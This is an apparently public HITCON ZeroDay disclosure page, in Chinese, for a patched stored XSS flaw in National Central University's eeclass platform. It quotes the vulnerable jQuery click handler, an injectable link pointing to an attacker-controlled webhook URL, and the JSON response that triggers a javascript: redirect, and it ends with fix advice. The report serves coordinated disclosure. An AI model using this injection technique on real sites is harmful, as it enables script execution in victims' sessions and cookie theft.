中央大學 eeclass XSS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00229
  •  發信 Vendor: 國立中央大學
  • Title: 中央大學 eeclass XSS
  • Introduction: 可注入連結讓受害者點擊後執行攻擊者的惡意腳本,有機會竊取 cookie 等等

處理狀態

目前狀態

公開
Last Update : 2022/04/12
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2022/03/25 00:37:20 : 新提交 (由 maple3142 更新此狀態)
  • 2022/03/25 10:45:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/25 14:45:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/25 14:45:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/04/08 16:29:25 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2022/04/08 16:32:20 : 確認已修補 (由 maple3142 更新此狀態)
  • 2022/04/12 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2022-00229
  • 通報者:maple3142 (maple3142)
  • 風險:中
  • 類型:預存式跨站腳本攻擊 (Stored Cross-Site Scripting)

參考資料

攻擊者可經由該漏洞竊取使用者身份,或進行掛碼、轉址等攻擊行為。

漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

防護原則:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

XSS 防禦繞過方式:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

平台上任意能發表文章的地方都能注入,包括任意課程頁面的討論區,或是對老師或是助教的私密留言等等都可以

敘述

平台上有許多地方能讓使用者送 html,不過在 server side 都有經過一定的 filter 所以沒辦法直接 XSS。利用的漏洞是 bundle.rwd.js 中這段的程式碼:

    $('.js-fs-ajax').click(function(e) {
        e.preventDefault();
        var that = $(this);
        if (that.hasClass('disabled') || that.closest('.disabled').length) {
            return false;
        }
        $.post(that.data('url') || this.href || that.attr('href'), function(o) {
            if (o.ret.status !== 'true') {
                alert(o.ret.msg);
                return;
            }
            if (o.ret.alert) {
                alert(o.ret.alert);
            }
            if (o.ret.redirect) {
                window.location.href = o.ret.redirect;
                return;
            }
            window.location.reload();
        }, 'json');
    });

只要注入一個如下方的 html 進去,其中 href 指向攻擊者的伺服器

<a class="js-fs-ajax" href="https://webhook.site/62cc2e32-cce1-49de-9528-a11a4476d9e5">peko</a>

這樣頁面載入後也在連攻擊者所注入的這個元素上 listen click event,然後受害者點擊之後它就會向攻擊者的伺服器發送請求,然後將取回的資料的 ret.redirect 部分直接塞到 location.href 中。如果該 url 是 javascript:alert(1) 之類的 url 就能達成 XSS。

攻擊者的伺服器需要返回以下的 response 才能成功攻擊:

{
  "ret": {
    "status": "true",
    "redirect": "javascript:alert(document.domain)"
  }
}

header 要有 Content-Type: application/json Access-Control-Allow-Origin: *Access-Control-Allow-Methods: *

修補建議

建議將 user submitted html 中所有元素的 class 和 id attribute 都移除

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;